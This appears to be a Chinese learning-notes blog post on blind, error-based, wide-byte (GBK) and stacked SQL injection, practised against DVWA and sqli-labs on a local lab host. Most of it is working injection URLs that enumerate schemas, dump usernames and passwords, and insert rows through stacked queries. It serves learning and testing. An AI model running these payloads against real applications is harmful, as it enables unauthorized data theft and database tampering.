盲注、报错注入、宽字节注入、堆叠注入学习笔记


一、盲注

基于布尔的盲注:
传入“”错误“”参数和“正确”参数,观察页面是否发生了变化。
基于时间的盲注:
有些数据库对错误信息做了安全配置,是的无法通过以上方式(即页面返回的真假)探测注入点。此时,可以通过设置sleep语句(延迟多长时间,判断后台执行的时间)来探测注入点,称为基于时间的盲注。
补充函数:

1、left()函数:left(database(),1)='s'       left(a,b)从左侧截取a的前b位,正确返回1,错误返回0
2、regexp函数:select user() regexp 'r'     user()的结果是root,regexp为匹配root的正则表达式
3、like函数:select user() like 'ro%'       匹配与regexp相似
4、substr(expression,start,lenth):select substr() xxxx     substr(dvwa,1,2)从位置ydl字符串的第一位开始,截取dvwa字符串2位长度,也就是截取的‘dv’;substr(dvwa,2,1)表示从dvwa的第2位开始,截取dvwa的1位长度,即截取‘v’。
5、ascii()                                 将某个字符串转化为ascii值
6、chr(数字) 或是ord('字母')                 使用python中的两个函数可以判断当前ascii值是多少

ASCII码对照表:
在这里插入图片描述
判断DVWA靶场盲注这关的库名:

输入
1‘ and 1=1 -- =                                                 //正常
1’ and 1=2 -- =                                                 //报错

在这里插入图片描述在这里插入图片描述
可以判断为基于布尔的盲注。以下为通过ascii函数爆库名:

输入
1' and ascii(substr((select database()),1,1))>98 -- =                           //报错
1' and ascii(substr((select database()),1,1))>99 -- =							//报错
1' and ascii(substr((select database()),1,1))>100 -- =							//报错
1' and ascii(substr((select database()),1,1))=100 -- =							//正常

在这里插入图片描述

说明库的第一个字符ascci码为100,查表后得到第一个字符为d。重复以上步骤,可以得出当前的库名为’dvwa’。这种方法是真的麻烦,还是推荐使用自动化工具,不过刚开始学的时候,最好手动敲以了解其原理。
接下来爆表名,方法如上,一步一步的爆出表名、列名等。

http://192.168.1.24:82/vulnerabilities/sqli_blind/?id=1'+and+ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1,1))>100-- =         //回显不存在
http://192.168.1.24:82/vulnerabilities/sqli_blind/?id=1'+and+ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1,1))<120-- =         //回显不存在
http://192.168.1.24:82/vulnerabilities/sqli_blind/?id=1'+and+ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1,1))=117-- =         //回显存在
最后得到第二章表为user表

在这里插入图片描述
爆列名

http://192.168.1.24:82/vulnerabilities/sqli_blind/?id=1'+and+ascii(substr((select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 1,1),1,1))=102-- = 
最终得出第一列为:first_name

在这里插入图片描述
爆数据:略

二、报错注入

什么是报错注入

报错注入是sql注入中一种注入方式,用法和平常的注入方式有些差别,回显在报错的页面中。

报错注入原理

利用两个报错现象来实现注入,一是利用数据本身的报错信息,多是数据本身的错误,爆出提示信息。二是利用报错函数来爆出所需信息。

报错注入的场景

适合无直接回显的sql注入,存在报错页面的回显。

常用报错函数

1.updatexml()(是mysql对xml文档数据进行查询和修改的xpath函数)

语法:

UPDATEXML (XML_document, XPath_string, new_value); 
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据

爆库名:

http://192.168.1.24:83/Less-5/?id=-1' and updatexml(1,concat(0x7e,database(),0x7e),1) -- =

在这里插入图片描述
爆表名:

http://192.168.1.24:83/Less-5/?id=-1' and updatexml(1,concat(0x7e,(  select group_concat(table_name) from information_schema.tables where table_schema='security' ) ,0x7e),1) -- =

在这里插入图片描述

2.extractvalue()(是mysql对xml文档数据进行查询的xpath函数)

语法:

extractvalue()函数的作用是从目标xml中返回包含所查询值的字符串
extractvalue (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为doc
第二个参数:XPath_string(Xpath格式的字符串),Xpath定位必须是有效的,否则会发生错误

爆库名

http://192.168.1.24:83/Less-5/?id=1' and extractvalue(1,concat(0x7e,database())) -- =

在这里插入图片描述
爆表名:

http://192.168.1.24:83/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) -- =

在这里插入图片描述

3.floor()(mysql中用来取整的函数)

通过使用count()、floor()、rand()、group by四个条件形成主键重复的错误。其中:

floor(x):对参数x向下取整,比如floor(0.2)=0,floor(3.6)=3。
rand( ):生成一个0~1之间的随机浮点数。
count(*):统计某个表下总共有多少条记录。
group by x:按照(by)一定的规则(x)进行分组。

floor函数具体介绍:https://blog.csdn.net/sangfor_edu/article/details/125169334
爆库名:

http://192.168.1.24:83/Less-5/?id=-1' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) -- =

在这里插入图片描述
爆user表名:

http://192.168.1.24:83/Less-5/?id=-1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- +

在这里插入图片描述

4.exp()(此函数返回e(自然对数的底)指数X的幂值)

爆表名:

http://192.168.1.24:83/Less-5/?id=1' and exp(~(select * from (select database() ) a) ) -- =

在这里插入图片描述
爆库名:

http://192.168.1.24:83/Less-5/?id=-1' and exp(~(select * from (select table_name from information_schema.tables where table_schema='security' limit 3,1) a) ) -- =

在这里插入图片描述
注:floor和exp函数在MySQL8.0中不适用,在MySQL5.5能够正常返回错误信息!

其他报错函数(了解)

1、通过NAME_CONST报错,注入语句如下:

and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

2、通过join报错,注入语句如下:

select * from(select * from mysql.user ajoin mysql.user b)c;

3、通过GeometryCollection()报错,注入语句如下:

and GeometryCollection(()select *from(select user () )a)b );

4、通过polygon ()报错,注入语句如下:

and polygon (()select * from(select user ())a)b );

5、通过multipoint ()报错,注入语句如下:

and multipoint (()select * from(select user() )a)b );

6、通过multlinestring ()报错,注入语句如下:

and multlinestring (()select * from(selectuser () )a)b );

7、通过multpolygon ()报错,注入语句如下:

and multpolygon (()select * from(selectuser () )a)b );

8、通过linestring ()报错,注入语句如下:

and linestring (()select * from(select user() )a)b );

三、宽字节注入

宽字节概念

1、单字节字符集:所有的字符都使用一个字节来表示,比如 ASCII 编码(0-127)
2、多字节字符集:在多字节字符集中,一部分字节用多个字节来表示,另一部分(可能没有)用单个字节来表示。
3、UTF-8 编码: 是一种编码的编码方式(多字节编码),它可以使用1~4个字节表示一个符号,根据不同的符号而变化字节长度。
4、常见的宽字节: GB2312、GBK、GB18030、BIG5、Shift_JIS GB2312 不存在宽字节注入,可以收集存在宽字节注入的编码。
5、宽字节注入时利用mysql的一个特性,使用GBK编码的时候,会认为两个字符是一个汉字。

宽字节注入原理

php为了防止SQL注入而使用了一些转义敏感字符的函数,类似于:addslashes()mysql_real_escape_string()mysql_escape_string()等。这些函数将敏感字符例如',转义成 \' ,导致无法进行SQL注入。但如果在提交参数的时候在单引号前加上一个大于127的字符,比如 %df,那么提交的参数就变成了 %df' ,php自动加上反斜杠将\转义变成 %df\' ,再进一步变换成 %df%5c%27,再提交给MYSQL进行处理的时候问题来了,MYSQL要对接收到的数据进行编码,编码方式是GBK,所以他认为 %df%5c 是一个宽字符,而不是两个字符。也就是说 %df\' = %df%5c%27 =運'
相关函数

preg_replace() 函数——执行一个正则表达式的搜索和替换
preg_quote()需要参数str并向其中每个正则表达式语法中的字符前增加一个反斜杠。

判断注入点

1.尝试输入’,",/等,观察回显情况

在这里插入图片描述
回显结果正常,查看源码发现,输入的字符被转义过滤掉了,继续尝试输入1%df’,发现回显正常,如下图:
在这里插入图片描述
此时可以发现前端输入%df'时首先经过上面 addslashes 函数转义变成了%df%5c%27(%5c是反斜杠\),之后在数据库查询前因为设置了GBK编码,即是在汉字编码范围内两个字节都会给重新编码为一个汉字。然后MySQL服务器就会对查询语句进行GBK编码即%df%5c%27转换成了汉字”運%27”,而单引号就逃逸了出来,从而造成了注入漏洞。

接下来就是判断字段数、爆库名、表名、列名等。
爆库名:http://192.168.1.24:83/Less-32/?id=-1%df' union select 1,2,database()  -- =    
爆表:http://192.168.1.24:83/Less-32/?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479  -- =
爆列:http://192.168.1.24:83/Less-32/?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=0x7365637572697479  and table_name=0x7573657273 -- =
爆数据:http://192.168.1.24:83/Less-32/?id=-1%df' union select 1,2,group_concat(concat_ws(0x2d2d,username,password)) from security.users -- =

在这里插入图片描述

四、堆叠注入

原理

堆叠注入,顾名思义,就是将语句堆叠在一起进行查询。原理很简单,mysql_multi_query() 支持多条sql语句同时执行,就是个;分隔,成堆的执行sql语句,例如
select * from users;show databases;
就同时执行以上两条命令,所以我们可以增删改查,只要权限够。虽然这个注入姿势很牛逼,但实际遇到很少,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。

判断注入点

通过审计源代码,可以看到,这里的SQL语句查询使用的是mysqli_multi_query函数,mysqli_multi_query函数可以执行多条SQL语句,因此可能存在堆叠注入。
在这里插入图片描述
输入http://192.168.1.24:83/Less-38/?id=1';insert into security.users(id,username,password) value(111,'aaa','bbb') -- =后,发现回显正常,查看user表数据,发现后面的插入语句已经被执行了,那么肯定就存在堆叠注入了。在这里插入图片描述
在这里插入图片描述

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值